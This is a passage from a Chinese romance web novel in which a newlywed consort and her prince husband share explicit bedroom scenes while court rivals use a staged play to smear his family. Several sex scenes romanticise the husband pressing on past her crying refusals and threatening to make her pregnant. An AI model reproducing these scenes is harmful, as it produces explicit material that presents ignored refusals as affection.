“王府真当无事,这个中馈在我手上,还成了轻松活。”
“怎么,阿锁莫非想多些事儿烦心?”
“倒也不是这个意思。”
姬时语眼眸晃动,她趴在美人榻上,身子骨软的不行。
她说出真心话:“哥哥,我便是觉着,你娶我过门,我像个甩手掌柜似得,整日无所事事,帮不上你什么忙。”
“怎么会?”
江曜兀自褪去官服外衫,他着朱红时满身艳丽威严,退下官服,肃穆去了大半,只是那张脸拢着如冷玉的寒。
“谁会说道阿锁是没事人?我头一个去斩他首。”
瞧江曜又认真,姬时语被他逗笑了,“好啦,我同你打趣,你莫要放心上。”
他一双狐狸眼睇来,见姬时语软趴着,是沐浴过后,一袭绸缎似得乌发披散,拢在她玲珑的身躯。
薄衣微透,裸_露的香肩雪白一片,她的身形无意间一动,江曜的眼便盯在了那儿。
娇软的沟壑十足惹眼。
他的胸/膛不住起伏,江曜喉结滚动。
“我娶你过门,是为了让你享福安乐,旁的,那都不重要。”
江曜却走来握住她的手,“你能在我身边,便已是我最大的助力,你有心去做那些,我都应许,做的好也好,做的不合心我便来替你摆平。”
姬时语被说的不好意思撇开头,她朱红的唇蠕动两下,最后冒出来一道娇嗔:“讨厌……你怎么惯会说些好听的哄我?”
“我是不愿你多想。”
“我没多虑,哥哥,你先去盥洗。”
“那……上回在侯府你没应我的,阿锁今日可能满足我,嗯?”
江曜俯下身来,他温热的气息在姬时语耳垂上喷薄,一下便染红了她白腻的肌肤。
夫妻之间有些事,是真心有灵犀。
便如这般,江曜还未说要做何事,姬时语便已心知肚明。
江曜顾及她双腿发软,两人是有几日未温存,今夜看姬时语精力大好,便觉得小姑娘该是受得住他。
姬时语肉眼可见的红了脸。
“嗯……”
姬时语微微点了头,江曜俯身便在她微烫的脸颊落了一啄。
而后,江曜转身去了浴房。
姬时语真不敢信方才应声的会是她自己,她将脸埋在臂弯中,蜷缩于美人榻,片刻也未动弹。
直到,腰肢被江曜的手环住,他又唤她:“阿锁。”
姬时语被迫抬眼,眼前的江曜刚沐浴罢,周身还沾着湿气,他冷清的眸子涌起深邃的暗色,手臂瞬间收紧。
他抱起她,姬时语不得不抬手揽住他的脖子。
江曜掐住她细白的脚腕,手掌微上滑,带动酥/麻,很是熟稔地捉住她的腿,缠上他劲瘦的腰。
姬时语还想探手去够烛火,“先……熄灯。”
可是江曜就是喜欢明明白白看着,她因自己不能自己,在明亮的灯下被他欺负的乱七八糟。
于是江曜径直绕开了灯烛,没让姬时语够着烛火。
下一瞬,姬时语的后背贴上一片微凉,她惊觉两人还未回床榻。
而她被江曜抱上了床边的梳妆台!
她的身下就是清早梳头所用的月宫纹铜镜台,而身后冰凉的,是那盏铜镜。
“去那面……”
“就在这儿。”
姬时语再多的呼唤与沉吟,都被江曜吞入了唇中。
他一遍又一遍厮磨她的唇瓣,大掌摁住她纤细的腰。
突然,江曜松开手,姬时语身子不稳,差点栽倒,吓得喊:“啊!”
察觉自己被姬时语情不自禁地双手双脚圈紧,江曜挑唇笑道:“阿锁,一会儿你可要抱好我。”
“为何?”
姬时语还想问为何他不能抱着自己,然而江曜已牵着她的手腕,紧紧挂在自己的脖上。
他弯下脑袋,一低首,便啄上了她的唇。
“江曜。”
“喊夫君。”
“夫君,哥哥……”
尾调刹那变了音,姬时语是被江曜亲身所为明白了他为何不能抱他,他的突然,伴随着他的手,大力攥住她一只脚腕。
江曜有意牵/带她的脚腕,分离开来。
“你怎么……又这样?”
“因为你喜欢。”
“我……”
而江曜的另一只手臂,便是撑在她的身侧,正抵御着那张月宫纹铜镜台颤颤巍巍的晃动。
她坐在桌案之上,他立在她身前。
铜镜一颤,便是嗡嗡的鸣声。
姬时语真的好怕梳妆台便这么散架,这张梳妆台是她好喜欢的,可不能就这么坏掉……
不断的嘎吱嘎吱,如若魔音贯耳,震耳欲聋。
脑子里白/茫/茫的,姬时语极力克制自己的全身,可是她的踝骨在江曜手中绷紧,江曜更是毫不顾忌。
一旦被分得更开,她的呜咽更大。
“不要弄坏我的陪嫁……呜呜,它会坏掉……”
“不会的。”
“呜呜,你又要骗我,大骗子!”
姬时语破碎的哭声被江曜的唇堵回喉咙,他勾着她亲吻。
不一会儿,她便真化作一团温香/软玉。
连哭声也多了一抹别样的味道。
姬时语伏趴在江曜的肩头,一袭乌发溽热沾湿,那双半开的猫瞳,噙着珠泪,朦朦胧胧,水光盈盈。
江曜再度捉起她的下巴,一个重重的吻落下。
他很喜欢她身上的玉兰香气,总觉得一回未尽兴,想她陪着他,再来一回,多一回……
是还未感到餍足,江曜的嗓音却满是低哑。
他问她:“喜欢吗?”
“不喜欢……呜呜,我不喜欢。”
“不说实话,要受惩罚的,阿锁。”
江曜故意使坏,在这种时候僵住,便是让姬时语吐出真心话。
“你乖乖说的话,我就给你。”
“呜呜……”
“告诉我,喜欢吗?”
“嗯……”
应他的是她低低羞怯的应声。
“我也很喜欢,阿锁,你真/好。”
姬时语被江曜的赞誉而羞赧,这事儿上被夸,全是在勾他更亢奋罢了。
屋中的烛火隐隐绰绰,从一根完整的蜡烛烧至蜡烛根,铜镜台的响动终是止了。
“我要回床榻。”她道。
江曜抱起她,往床榻挪步,是将人抱入床中,他握住她光滑的踝骨,指腹不断揉搓着那块肌肤。
“阿锁还未昏过去呢,真好,我也还没知足。”
两人始终亲密无间,姬时语连抬眼也不敢,便羞恼地闭合起眼。
江曜太喜欢在这档子事上疼爱她了。
他的阿锁是世界上最珍贵的宝贝,永远吃不饱、不够。
还想要索取好多、好多。
“阿锁,今夜要多撑一会儿啊。”
夜还很漫长。
江曜想。
第137章
清晨姬时语苏醒时,身上已是一片清爽。
没了江曜坚实温暖的怀抱,她竟还感到微微怅然的孤寂。
姬时语喊了萍亭近身,得知早在一个时辰之前,江曜便已起身出府上了早朝,她索性慵懒地坐起身下床。
“王妃醒了。”
萍亭打着珠帘入内室,她朝梳妆台走去,边问:“您今日想别哪只簪子?”
“等会儿。”
姬时语一瞧见她动作,困意全无。
霎时忆起昨夜和江曜在铜镜台做的荒唐事,脸面飞红,爬起便阻拦。
“莫要动妆奁!”
“为何?奴婢瞧着干干净净的。”萍亭不解。
“是吗?那便无事了。”
姬时语仔细打量一番,见铜镜台之上是半分痕迹也不曾留下,仿若早被人擦拭清洗过。
她缓缓长舒口气。
无人知晓,无人察觉,她便好受太多。
“萍柳。”
姬时
语走来在镜前坐下,唤丫鬟们近身,“伺候我梳头吧。”
萍柳为姬时语将乌发梳齐,她凝望着镜中的自己,思绪不免又飘忽远了些。
没成想江曜做事还挺细致,不但夜里抱着昏过去的她入浴房清洗身子,还将屋中一抹干净,像从未生过事儿一般。
姬时语便问道:“昨夜是谁来换的水?”
萍亭与萍柳对视一眼,还是萍亭答道:“回王妃,是奴婢两人,王爷吩咐换水,但没让奴婢等伺候您。”
得到确信的答复,姬时语肯定是江曜亲自服侍她沐浴更衣。
说不出是何种心情,但终归是欣喜的。
两人自亲密之后,许多事江曜便极其乐于亲力而为。
她的事,他便是连小事也不愿让外人代劳。
姬时语便也从最初的害羞,到如今的更为坦然接纳江曜的伺候。
他愿意,那便随他吧。
总之两人已是夫妻,是天底下最亲密的人,不是吗?
梳洗好,灵犀盛上早膳,巧儿在旁端来一方小碟,笑道:“王妃,老王爷让下人取了一罐腌制的酸豇豆,特意送来给您尝尝。”
姬时语便就着黄米粥,夹了两粒酸豇豆。
酸味儿很浓厚,舌尖还留着微微的辣。
老楚王真是将楚王府盘成蔬果园子,她还是头一回在京城尝到乡里才有的新鲜瓜果滋味。
姬时语弯眉浅笑道:“祖父送来的便留在小厨房吧。”
巧儿道:“是,王妃。”
姬时语用完早膳,起身去细牙桌上取来王府下人的录薄。
她琢磨着有心从寻阳院下手,便与灵犀吩咐下去。
“咱们寻阳院伺候的人手太多,我要二等与三等丫鬟砍半,余下的半数人,若是有擅长种植果蔬的,便送去祖父的明月轩吧。”
灵犀踌躇发问:“楚王殿下怕下人伺候二位不周到。”
“这并非我嫁入王府给下人们的下马威,你和巧儿我便很满意,旁的人各司其职,并未有任何纰漏。”
姬时语话音轻柔,她莞尔并不苛待王府的丫鬟,因而灵犀听得舒怡,她补道:“我与王爷身边无需太多人伺候,有你们这几个得心应手的便可。多的何不去帮衬祖父种菜养鸟?祖父那头才是需要人手的地方。”
“是,奴婢懂了王妃的意思。”
既如此,灵犀便福礼应道:“这就去转达王妃的命令。”
没的太清闲,姬时语便坐回细牙桌边,让萍亭萍柳帮着研磨,提笔续写自己的话本。
直到临近黄昏,江曜归府,待见寻阳院大半寂寥,是少了许多下人。
他跨步入屋,询问姬时语。
“阿锁放了下人走?”
“哥哥!”
姬时语正趴在细牙桌上无所事事,一见江曜归府,满目明亮万千,俏丽小脸便生出喜悦。
“是呀,我觉着咱们院里伺候的人太多,用不着这些人,便送去给祖父。”
姬时语走过来,上手为江曜褪去官服。
她有心,奈何指尖笨拙,光是他那衣襟系带,她便盘弄了许久。
姬时语不悦手指之中的纠缠,咕哝道:“你这身衣衫怎这样难解开!”
“你还要弄多久?”
江曜好笑的看她摆弄,一双狐狸眼垂下,墨瞳之中晕开一抹浓郁的柔意。
“我不会,成了吧?”
好半晌也没折腾完,姬时语恼得一巴掌拍打在江曜的胸口,“你自个儿解。”
平日里皆是江曜自行穿戴官服,归府后再褪去换身常服。
今日姬时语难得起心,江曜便爱极了由着她来。
即便摆弄不开,他也揽住她的腰,强横地将人搂抱入怀。
江曜捉着她的细腰,低声哄她:“可我想要夫人替我解开。”
“不要,你放开我,你瞧瞧你,哪还有半分江大人的模样?”
姬时语几番挣扎,就是要江曜松开钳制于她的双臂。
偏江曜的手跟铁链似得,拴住她,没得钥匙,便就扯不开。
江曜沉吟,他一本正经道:“回了楚王府,我就不是江大人,而是阿锁的夫君。”
是实话实说,但姬时语还是脸红斥他:“你不要脸……”
“夫人,为我解衣。”
江曜牵起她手,自顾自又放置于自己脖颈间的衣襟口,那颗盘扣,一下便从锁扣蹦出。
姬时语被江曜直勾勾的盯着,腰又被他箍紧。
不得已,她只能认命似得系开盘扣,再摸到他腰后,将官服那一身缎面长衫解开。
做好这些,她垂眸打他的手背,“你可以放手了吧?”
江曜反手握住她的皓腕,又带去腰间,他低声笑起来,蛊惑的意味很深。
“阿锁,你还忘了腰带。”
江曜为二品官身,赤红虎补官袍,身系黑色玉带。
前身合口处缀有几处带跨,与玉石同系在腰带之上,衬得他腰身劲瘦。
而那根玉带的带扣,却是在他的后腰处。
姬时语想够着,需得环抱住江曜的整个腰。
若是真解开那根玉带,落地的刹那,姬时语不怀疑束缚江曜的禁锢,便会就此打破。
昨夜他便是撕开她身上系着的小衣带子,胡乱将亵衣尽数拨弄至地。
他怕是又按捺不住的。
这般想来,怀中的娇人儿雪白肌肤泛起红,便跟兔子急了要咬人似得,蹦跶脱离江曜的怀抱。
“才不要!这会儿天都未黑,不得你胡来!”
姬时语直言抗拒,“你再这样整日没完没了,我就要罚你去睡书房。”
“哪有恩爱夫妻才新婚,便要夫君去睡书房?”
“我不管哩,你得听我的。”
姬时语没好气地瞥头,环臂见他腰上玉带紧扣。
那腰身她的腿夹过几回,是真忘不却在江曜身上的感觉。
思及此,她脸一红,猛然蒙住脸便说:“今日不准,你自己去换衣!”
言罢,姬时语已先一步冲入屋西侧的湢室。
江曜只能自行解开腰带褪下官服,他微微可惜,没能引_诱姬时语主动扑上他身。
遗憾呐。
不过来日方长,总有一日,他会勾着姬时语对他上下其手。
这一晚,为着姬时语那句“要罚他去睡书房”,江曜便真未动她一分。
夫妻二人沐浴过后,和被坐靠于榻上,相依相偎。
“苏家人长久闹苏氏之死有蹊跷,但我与二皇子查得此事并非江承运下手。”
江曜说起要事来,“那砒_霜确实是苏氏自己吞的。”
“这事真与江承运没一点干系?我不信。”
姬时语伏在江曜手臂上,蹙眉问:“他出言辱_骂大皇子妃,比真刀_枪还要伤人,加之苏家那时不愿为她做主,若说罪魁祸首,大皇子妃是被他们合力逼死的吧?”
江曜轻轻应声。
可是即便苏家明晓苏氏之死的真相,仍旧不肯放过大皇子江承运。
早朝时,江曜已上呈天听,禀明苏氏未曾他人手杀害,但苏大人第一时便出
列,痛斥江曜胡言乱语。
这事足闹了好几日,还未平息。
每日江曜归府,姬时语便会见他一张冷面,眉宇凝着霜结,同她细说这一日又闹出什么档子。
江曜是冷言直骂大理寺少卿苏大人:“愚蠢。”
姬时语却道:“会不会苏家人并非是为了替大皇子妃讨回公道?”
“他们本就是将苏氏视作一把刀。”
江曜毫不避讳,他与江承德暗地追查,大理寺少卿苏大人,是与安国公柳大人走的很近。
他道:“苏家怕已是三皇子的走狗。”
姬时语拧眉道:“他们为的是将大皇子彻底拉下台?”
“应是的。”
“两党争斗愈发焦灼,我们该怎么办?”
“二皇子还在周旋,不会让江承北斗垮江承运的。”
“我担心的便是这,二殿下的身子……又能撑多久呢。”
姬时语眼中含着担忧之色,“我们与江承运、江承北互为仇视,他们之中任何一人一旦荣登大宝,楚王府都将迎来灭顶之灾。”
“我不会让这事成真的。”
江曜明白她意,只是低声安抚她,“静观其变吧,安心。”
夫妻二人交心之后,姬时语便心中有底,烦懑之意已去大半。
日子还是如寻常的过,一晃天边便下起霜絮。
是步入十二月的冬日。
这一日,灵犀与巧儿忙着将楚王府购置的新衣抬来寻阳院,萍亭与萍柳则在整理姬时语带入府的冬衣。
“新衣怎也有这样之多?”
姬时语笑望几人忙碌,忙不迭道:“我这府门大步不迈出一步的,哪来功夫日日穿。”
灵犀笑道:“这衣裳啊赶多不赶少,王妃娘娘自然要多备些。”
可巧的是,萍柳匆匆从外得了信归来,“王妃,管家捎来请帖,是给您的。”
姬时语定睛一瞧。
竟是安国公府柳家下的请帖,邀姬时语过府赏梅参宴。
姬时语与江曜说起这事时,笑成一团。
“我还说成亲后大门一步不迈呢,这便有人巴不得我出府啊。”
“阿锁要去安国公府吗?”
“去,我自然要去,还要漂漂亮亮的去。”
姬时语可没忘记安国公府给江曜的下马威,她心眼极小,欺负她在乎之人,这等仇她能记一辈子。
因此,姬时语攀着江曜的手臂,嫣然笑道:“在王府睡得多,骨头都软了,我也该出府去和她们碰碰面啊。”
江曜瞧她兴致极高,便不想扫兴,应了她好。
安国公府的梅花宴设在十二月十二,当日一早,江曜便亲自将姬时语送去安国公府门前。
巳时一刻,姬时语在这时,来到安国公府的红梅轩。
安国公夫人白氏正与其女柳眉,说着亲切话,院外下人喊了声。
“楚王妃驾到——”
众人瞩目而望。
是十分好奇才大婚的楚王妃姬时语,嫁给谣传之中脾性暴虐的楚小王爷,婚后究竟过着何样的日子。
姬时语今日一袭银雪狐毛大裘,娇俏玉色的脸蛋因毛边衬得柔软。
裘衣之下是织金锦缎石榴裙,配上喜鹊登梅金簪,明艳无边。
梅花枝头,浅浅探入宅院,窥视几许,梅雪争春,两两无一肯认输。
墙角那一株近靠于她的红梅,竟也被她如花容颜赛了下去。
楚王妃脸色红润,娇容姝丽,哪儿有半点她们所以为吃苦隐忍的模样。
有人狐疑,楚王妃嫁入楚王府莫非真过上了不得了的好日子?
在场之中还无人身份高于姬时语,因而白氏与三皇子妃柳眉,不得不起身迎她上座。
“都说楚王妃成亲后足不出户的。”
柳眉笑道:“今日你能来安国公府,是让整府蓬荜生辉啊。”
“我身子畏寒,王爷体恤我,便叮嘱我留府养身子。”
姬时语听不出她讥嘲,她手捧暖炉,反点头莞尔:“不过安国公府的梅花值得一见,让人赏心悦目。”
柳眉像吃了憋,她也不知姬时语是故意还是无心,说何话便都能扯上江曜。
就像是姬时语心中门清,江曜乃是安国公府与她的一根刺!
“楚王妃身子弱可不好啊,像我们眉儿,身子康健,才可为皇家早早开枝散叶。”
柳眉还在思忖,白氏便先牵住柳眉的手,喜笑颜开。
姬时语愕然问:“三皇子妃这是?”
鹅蛋脸的小姑娘满目吃惊,柳眉好似为她的神情而一刹得意起来。
柳眉笑回:“我已有了两个月的身孕。”
“天呐!”
姬时语纯真的目光十分真切,她笑容亲和,“那真是恭贺三皇子妃。”
“楚王妃也是该好好养身子的,王府仅有你这么一位王妃,楚小王爷连个妾侍也未纳一个。”
白氏说的不怀好意:“可不能让王府这一脉断在王妃身上啊,再不济,你身为王妃做主收几个人在后院也是当得。”
“安国公夫人言之有理,只可惜啊,我为王爷纳再多的美人,那也只是红颜枯骨罢了。”
偏姬时语压根不接她话茬。
她笑时脸蛋雪白,娇柔的很,但说出口的话,比冬日寒冰还要冷。
“王爷不喜欢的人,便会砍头放血,国公夫人是想见我们楚王府血流成河吗?”
小姑娘轻笑着说了一句令人发怵的话。
在场众人被吓唬的不轻,连白氏与柳眉的脸亦是生了白。
姬时语看众人脸色不禁捂嘴生笑。
她终于懂得为何江曜总喜欢威吓人,这种故意放狠话,令外人不知所以的感觉,霎时好极了。
她是被江曜给教坏的。
可这也没法子,谁让安国公府的人非要上赶着给她扇巴掌呢?
她最不喜旁人讨人嫌,惹恼于她。
惹一分,她非要还十分的。
姬时语的威吓十足应效,白氏闭口不提楚王府子嗣一事,转而受尽几位夫人的庆贺。
皆是为三皇子终得一桩大喜事。
姬时语幽幽靠在座椅之中,捏着一块玉酥糕缓慢咀嚼,她那双水灵的猫瞳不时划过柳眉的肚腹,心中起了念头。
莫怪安国公府要大张旗鼓的在冬日摆宴呢,原是为了宣告柳眉喜得身孕。
皇子党中这几年互咬一通却不分上下,全因两位皇子妃皆无身孕。
而今三皇子妃先得一子,若这胎是个儿子,将会是弘文帝的第一个皇孙。
胜算便在握三皇子党手中。
姬时语双手拍拂两下,抖落玉白指尖的碎渣。
那厢的庆贺声了毕,白氏招呼着众人起身往堂中换位。
院中着实寒冷,不适宜摆宴。
姬时语磨磨蹭蹭地起身,她没得兴致凑到白氏和柳眉身边套近乎,便索性等人都走完再入内。
有手炉在怀中,裘衣紧紧包裹,冬日猎猎寒风便也不那么寒冷。
恰好这时,两道身影一左一右冒了出来,杜南霜率先亲热笑喊:“阿锁!”
曾宝仪一张珠圆玉润的脸很快也晃来,“王妃娘娘,许久不见啊。”
姬时语与两人回了笑。
“阿锁,见你气色红润,我们真放心下来,看来小王爷并非谣传,是当真疼爱你。”
杜南霜好生宽慰,她道:“你比在侯府时候还要好,那只能是婚后日子舒心呀!”
姬时语笑道:“王府无人难为我,我是过的很舒坦。”
曾宝仪讶然:“都说小王爷人若疯子,却待王妃如珍宝,谣言不可信!”
“阿锁这婚事成的可真好。”
姬时语性子未变,杜南霜便忍不住打趣她来:“早前我就说过你同你兄长关系匪浅,你还不承认呢!”
“从前的事儿可不准提了。”
“你脸红了。”
“才没!”
姬时语玉白的脸忙往狐毛之中缩去,遮盖浅浅的粉。
杜南霜凑过来附耳低低说:“阿锁,这样看来,我准备的大礼是能送去王府了,你可要用上啊。”
“什么大礼?”
“嘘,这会儿还不能同你说。”
曾宝仪茫然插话:“你俩在打什么谜语呢?”
姬时语便亦是疑惑不解,“我也不知她在说何。”
“等你拿到手一看便知。”
杜南霜好一阵笑声朗朗。
姬时语竟莫名生起一股不好的预感。
三位姑娘是等到堂内暖意融融,方相携入内,寻了个稍远的地儿,三人便坐至一处。
姬时语掐住杜南霜的手,仍在逼问:“你究竟盘算着什么坏心思?”
“我哪儿坏了,我是好的不能再好的好人,宝仪你来说可是?”
杜南霜嬉笑着脱了姬时语的手,曾宝仪在旁随了笑道:“南霜定无恶意的。”
姬时语哼哼:“那你是不知道她坏主意乃是最多。”
“阿锁,我保准定不会害你。”
杜南霜揶揄笑来:“到时你怕是还会感激我的。”
姬时语还欲再问,可这个时候,堂中搭设起的戏台子,班主已翩跹舞上了台,咿咿呀呀唱起戏来。
台上的两人,一位青衣一位武生,走步一进一退,看似男子在退让,可身形却更似逼迫。
曾宝仪看得专注,还问两人:“你们可看过这一出?”
“看过啊。”
杜南霜神色怏怏,“这不就是阿锁的话本《尘世》吗?小公主被她的少年将军逼问,是否真心爱他的那一出。”
曾宝仪亮晶晶的眼骤然瞥向姬时语。
姬时语颔首应她。
虽说话本早便看过,但姬时语还是乐得再端望戏班如何作演。
她捧着热茶抿几口,不过一盏茶的功夫,这戏便已至落幕。
杜南霜失望道:“不对啊,后头应还有一出互诉衷肠啊,怎就收戏了?”
曾宝仪更不知:“像又换了一出戏。”
姬时语刚放下茶杯,一个抬首,见得台上几人的站位,她的眼瞳刹那间瞪大。
杯底亦重重发出了砰的一声。
台上换了一出戏,众官兵押走官家小姐,小姐哭诉状告其罪冤枉,她喊着:“我家中世代忠良,如何会叛君王,通敌叛国呢?冤枉啊,定是冤枉我啊……”
这位小姐惨遭流放,不堪受辱,大着肚子便舍命逃亡。
再后来,这个孩子认祖归宗,竟乃是王府唯一的嫡子。
曾宝仪道:“这戏怎么看得十分眼熟?”
“阿锁,这……”
杜南霜忧心忡忡地眼看向姬时语,只见小姑娘脸色惨白,她忍不住握紧她的手。
戏终,她满脸震惊。
姬时语的心彻底坠入冰湖,冷得哆嗦。
她如何看不明白,安国公府搭设的戏台子演的这一出,根本就
是江曜与其母的那一桩往事!
有人要拿罪臣白家问江曜与楚王府的罪!
前座欢声笑语,寒风却止不住地往姬时语裘衣里钻。
戏演罢了,姬时语也疲倦不已。
安国公府散宴,姬时语折返楚王府,神色满是不虞。
便是江曜下朝归府,入屋中见到的亦是姬时语坐靠于圆木椅中,支着下巴,绷着小脸不快的样子。
“是为白家恼?”
“何止!”
江曜狐狸眼微挑,像早已知情,姬时语再也忍不住话茬,斗豆子似得一股脑泄愤。
“白家岂有此理,安国公夫人便是白家人,她竟会应准在自家搭戏台,再泼一盆脏水给白家!”
“看把你给气得。”
江曜来牵姬时语的手,小姑娘还在窝火上头,甩开他又是一顿噼里啪啦,“我还没见过哪家人巴不得娘家好,白家是为了扳倒你无所不用其极!”
“好了,他们得不了逞的。”
“可是,可是,他们故意要你出丑,按你一个罪臣之后的名头!”
“但他们也并未说错。”
姬时语为江曜的话愣住,便是这个愣神,她被江曜猛地抱入了胸膛。
如雨后竹林般干净的气息,包裹住她全身,他低首凑来,平息她纷乱的心。
“一个野狗,一个疯子,再多个罪臣之后的名头,又能何妨?”
“就是不行!”
姬时语的眼眶登时泛红,她捉住江曜的衣袖,疼惜骂道:“我不准他们说你的坏话,只有我知道,你有多好,那些苦本不该有你承受……”
江曜喜爱姬时语为他上心苦恼的模样,虽说白家算计的是他,剐的也是他的心、他的血肉。
可姬时语非常恼火,心疼他时,他又是好生的雀跃欢喜。
她太好了。
他是真爱惨了她。
“阿锁心疼我,那安慰安慰我。”
“做什么……啊!”
江曜单手环住姬时语纤细的腰肢,就这么突然之间将人托抱而起,让她坐于自己的手臂之上。
姬时语吓得立马抱住他的脖子,她的脑袋微微垂下,碰上江曜微凉的额头。
江曜顺势抬头,捉住她的朱唇,蛮横地含住她。
他一遍又一遍磨着她的唇瓣,将她的吐息吞入自己的唇中,再又带着她一道纠缠。
他说:“我要你这样安慰我。”
良久,一个深吻毕,姬时语雪白的肌肤拢起粉意。
她眼眸含春,眼波不断荡开,身子坐在江曜臂弯,显得局促不安。
“你放我下地。”
摁住江曜的肩胛骨,姬时语扭动腰肢要下来,“讨厌,我和你说正经事呢。”
“我也在说正经事。”
江曜伏趴上她的肩颈,张口便叼住她衣襟系带,蓦地一咬,系带散落,他拂开了她的衣裳。
而他的手也同一时探向她红缎的小衣。
“你怎么这样?”
姬时语想要止住他作乱的手,奈何腰肢被一弯折,人差点没坐稳栽倒下去,忙又回抱住江曜。
这回是被江曜握住一条白软的细腿,拉拽着她便垮上他的腰间。
而他便又牵起她的手,替自己盘开腰带。
“我只要你的安慰,旁的都不要。”
江曜垂首,嗅着她脖上香甜的玉兰香气,狐狸眼眯了眯。
眼底幽暗,无数深邃沉欲随之席卷而来,他很快便咬住她小衣的系带。
他的薄唇一扯,那只小衣被拨弄掉落于地。
“听说三皇子妃已有了身孕,阿锁,替我生个孩子。”
今日江曜这般凶猛又急切,是为着这个?
姬时语眼波凌乱,面色一红。
娇吟霎时溢出朱唇。
第138章
江曜单臂托起姬时语,长久的悬空令人胆寒,他却很喜爱看她面上闪过后怕,惶惶抱得他更紧。
他突然的急切,使得她双手双腿只得齐齐纠缠于他身。
她愈发紧张,身子便因而紧绷,两人之间反而欢/愉。
姬时语羞于掀开眼皮,一慌张,眼睫抖动如蝶翅。
“我年岁还小……不要生孩子。”
面上生起浅浅一层潮红,她猫瞳水光乍现,艰难反驳了一句,“不要。”
“阿锁不愿同我生孩子?那可不行啊。”
江曜凑过来,含住她的唇瓣,轻轻柔柔地哄,“我偏要阿锁给我生,你不愿,我便每日缠着你,直到你怀上。”
“不要!”
姬时语害怕极了,一个劲摇头躲闪,“我不要!”
“怎么就是不要?”
“我们才新婚,我还没想好要当娘亲……我不想要孩子。”
被小姑娘的紧张弄得难耐,江曜眼眸幽暗,沉沉的欲如决堤的洪水倾泻而出。
他咬上她雪白的肩头,逼她娇吟出口。
江曜故意颠簸她,姬时语没来由地浑身颤栗,一双素手撑在他肩头,软绵无力。
“夫君,江曜……”
“阿锁忘了,这会儿还被我抱在怀里,我们自成婚以来,这事没少做几回。你说,你肚子里会不会已怀有我的孩子?”
江曜气息冰凉,喷涌在姬时语的脖间,她被凉得哆嗦。
因江曜恐吓的话,她禁不住垂眸,去望自己的肚腹。
这一下,竟是着急地捶打起了江曜。
“你好过分!我不要你还要逼我。”
姬时语急的又拍又打,她还掐上了江曜的脖子,一双手掐住,急得眼红,“你敢!”
江曜很愉悦地受着她的掐脖,脖上的那双手柔软,却没用多大的力道。
只无端的让人心动罢了。
江曜勾唇一笑:“谁知道呢?我瞧阿锁从未喝过避子汤,还以为你是想替我生孩子的。 ”
“我……我……”
姬时语反驳不出口,她面红耳赤,这事是她忘性大,不知情便没多问。
可不管怎么说,她都还未想过才大婚便做双身子的母亲。
姬时语心头焦灼,全成了无力的话:“我不要……”
看把她欺负惨了,眼眶红红,珠泪要落不落,江曜才罢手。
他亲上她的唇,原本凶猛的力道改为一派温柔,连被她抱在怀中的姬时语亦是只余下了甜腻的哼哼。
“方才是我骗你的。”
江曜狠狠咬她微红肿的唇瓣,轻笑道:“你没喝避子汤,但我喝了。”
“你,你为何……?”
回应姬时语的是江曜的亲身力行。
凶/狠急切。
姬时语在他怀中一下眼瞳瞪大,她想止住江曜,奈何一旦开了这个头,江曜便不会应她的话。
即便是单手拥她,江曜仍稳稳当当的伫立,没让她腰弯折,摔下地。
“夫君,呜呜呜……”
只是姬时语很害怕,她怕自己真栽倒,悬空脚面不着地,终归还是心中无底。
姬时语不知所谓地唤着江曜的名,她每喊他一声,便会换来江曜更为的亢奋。
她微微吐息,话音上下起伏。
“这么久了,你单手……抱着我也不觉着累吗?”
“上回你不是怪我体弱,得康健有力,你才会心悦,我这是亲自同你佐证,我可行。”
两人闹腾许久,江曜几度喘气,为这声喘,声色变得动人。
“阿锁觉着,我可是厉害?”
姬时语羞赧地抱了过来,埋入他肩窝,嗡嗡低语,“嗯……你这么厉害。”
好半晌那股热/浪稍一过,姬时语寻回自己的声音,叫喊的太久,嗓音早会沙哑无比。
但是她还是好奇,忍着不适也要盘问他。
“你……你为何喝避子汤?”
“我怎么可能让你怀孕,我才不要孩子。”
姬时语的双手窝在江曜的肩胛骨之间,他全身用劲时锁骨与脖颈会凹出一道窝,她便撑在那处,稳了很久。
江曜捉住她一只手,轻啄两下。
姬时语被他单手抱住,娇啼啜泣。
她断断续续问他:“哥哥,你……不喜欢孩子吗?”
“孩子只会徒惹麻烦,与我抢夺你。”
江曜清冷的嗓音沾染半分餍足,很是诱人。
因还未全然满足,他托着姬时语便往床榻而去。
“想也别想。”
她劳累了,江曜愿意送她躺回衾褥。
在柔软的被褥之中,姬时语总能多陪他一会儿,令他倍感欢悦。
他不想那么快便结束。
姬时语见江曜那双狐狸眼很是认真,墨瞳深邃凝望她,一字一句说着不要孩子。
她蓦地便是心悸脸红,满心是喜欢他更多。
“夫君。”
姬时语又启唇唤了江曜。
然而下一刻,便被江曜反手摁住腰,缓缓抬起,他翻动抬高她一条细长的腿。
“阿锁,我只是很喜欢,能让你怀上这件事罢了。”
江曜倾身而上。
“阿锁,今夜我想
第二回。”
……
冬日一旦来临,姬时语便会因畏寒在屋中窝居而不出。
夜里也会将江曜缠得紧贴,偎着他取暖。
昨夜闹得太久,姬时语困顿疲惫。
醒来时,只觉得身边有座热炉暖和和的,她不由自主又靠近过去。
这一磨蹭,腰上那只手臂霎时收紧,姬时语引得睁开双眼。
便见面前一张清雪似得容颜,凑近过来亲吻上她的唇,连带江曜的那条腿,也有力的将她锁住在怀。
一吻毕,姬时语被吻得双颊微红,她诧异问道:“你今日怎未去上早朝?”
“今日我沐休。”
清晨醒来,两人嗓音皆有几分哑。
江曜先起身,缎面被褥滑落时,姬时语凝着他结实的臂膀,久久挪不开眼。
怎么就有人生得赏心悦目,越看越欢喜呢?
姬时语止了乱想,方一垂首,见得自己肌肤之上零落的吻_痕。
刚生出的喜欢,转瞬化为恼火。
好在江曜换上一袭长衫后,便走来替姬时语披上外衫,又抱起她往湢室去。
是要伺候她沐浴。
大清早的,江曜没使唤丫鬟进屋,便是主子们有私事要理,这盥洗一事,自是两人自行摆布。
他有心再和姬时语讨_欢,但白日里她害羞的更厉害,绝不允他胡来。
去了一刻钟,姬时语身披月白长裙,喊屋外候着的萍亭等人布膳。
江曜难得陪同她用了一顿早膳。
姬时语吃得半饱,擦拭过唇后,便与江曜提起她的心事,“我想新写一本话本。”
江曜不以为然,“想便写。”
“可是……”
姬时语直视过来,目光清淡,“我想的是,以你为角的话本,若是各大戏班子说起戏,将你的事搬上戏台,你能愿意?”
江曜不免忆起前世她所做的那些事。
恐怕姬时语心中忐忑,亦是如此。
然而江曜目中雪色一片,冷静自若,“阿锁无心害我,我信你所为。”
这是江曜对姬时语的相信。
前世今生,他心中从未真正的怪过她任何。
